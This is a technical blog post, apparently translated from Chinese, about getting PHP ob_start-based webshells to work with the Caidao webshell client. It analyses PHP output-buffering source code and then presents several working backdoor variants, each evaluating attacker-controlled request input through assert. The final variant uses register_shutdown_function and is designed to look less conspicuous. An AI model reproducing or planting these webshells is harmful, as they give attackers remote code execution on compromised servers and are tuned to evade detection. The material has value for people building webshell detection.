Feasibility analysis of ob_start for Caidao
2015-10-29
Author:Eason
The traditional ob_start webshell is used like this:
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
After my test, this method can execute code in PHP5.4.X and above, but there is no echo. Of course, it cannot be used for kitchen knives. So what is the reason for the failure to echo?
Analysis obstart("assert")It means to set assert as the callback function when the ob operation ends. obstart requires the callback function to receive two parameters, but in PHP versions below 5.4.8, assert only accepts one parameter, so 5.3.X cannot successfully execute the code. I happened to be working on a webshell monitoring gadget based on taint tracking. When testing, it always failed to execute. After much puzzlement, I found that it was a version problem. Khan PHP versions above 5.4.8 can be successfully executed, but the assert execution content cannot have ob output such as print/echo. The reason can be found by looking at the PHP source code:
main\output.c
PHPAPI void php_end_ob_buffer(zend_bool send_buffer, zend_bool just_flush TSRMLS_DC)
{
…
OG(ob_lock) = 1; //Set ob_lock before calling callback
//The following is to call the callback function
if (call_user_function_ex(CG(function_table), NULL, OG(active_ob_buffer).output_handler, &alternate_buffer, 2, params, 1, NULL TSRMLS_CC)==SUCCESS) {
if (alternate_buffer && !(Z_TYPE_P(alternate_buffer)==IS_BOOL && Z_BVAL_P(alternate_buffer)==0)) {
convert_to_string_ex(&alternate_buffer);
final_buffer = Z_STRVAL_P(alternate_buffer);
final_buffer_length = Z_STRLEN_P(alternate_buffer);
}
}
OG(ob_lock) = 0;
whereas in
PHPAPI int php_start_ob_buffer(zval *output_handler, uint chunk_size, zend_bool erase TSRMLS_DC)
{
uint initial_size, block_size;
if (OG(ob_lock)) { //Determine whether to set ob_lock
if (SG(headers_sent) && !SG(request_info).headers_only) {
OG(php_body_write) = php_ub_body_write_no_header;
} else {
OG(php_body_write) = php_ub_body_write;
}
OG(ob_nesting_level) = 0;
//Calling ob related functions in callback will cause FATAL ERROR
php_error_docref("ref.outcontrol" TSRMLS_CC, E_ERROR, "Cannot use output buffering in output buffering display handlers");
return FAILURE;
}
It can be seen that once the output functions such as print/echo are used, phpstartobbuffer will be called, and phpstartobbuffer determines that ob cannot be used in display handlers. Once used, a Fatal error will occur. Therefore, if you want to use ob_start as in Caidao, it is not only a problem of no output, but it cannot be successfully executed at all. The reason why PHP is designed in this way is obvious. Outputting in the output callback will cause an infinite loop.
Solution So if you want to use ob_start callback universally in all versions, you cannot execute eval/assert in the ob callback function, so use the following solution:
<?php
$evalstr="";
function myeval($c,$d)
{
global $evalstr;
$evalstr=$c;
}
ob_start('myeval');
echo $_REQUEST['pass'];
ob_end_flush();
assert($evalstr);
?>
But the code is too long and ugly. PHP5.3 and above support closures and can use the following solution:
<?php
$evalstr="";
ob_start(function ($c,$d){global $evalstr;$evalstr=$c;});
echo $_REQUEST['pass'];
ob_end_flush();
assert($evalstr);
?>
But calling assert directly is still too conspicuous and imperfect, so we improve it and use registershutdownfunction:
<?php
ob_start(function ($c,$d){register_shutdown_function('assert',$c);});
echo $_REQUEST['pass'];
ob_end_flush();
?>
This final version looks much better. Note: The above code was successfully tested in PHP5.3.3.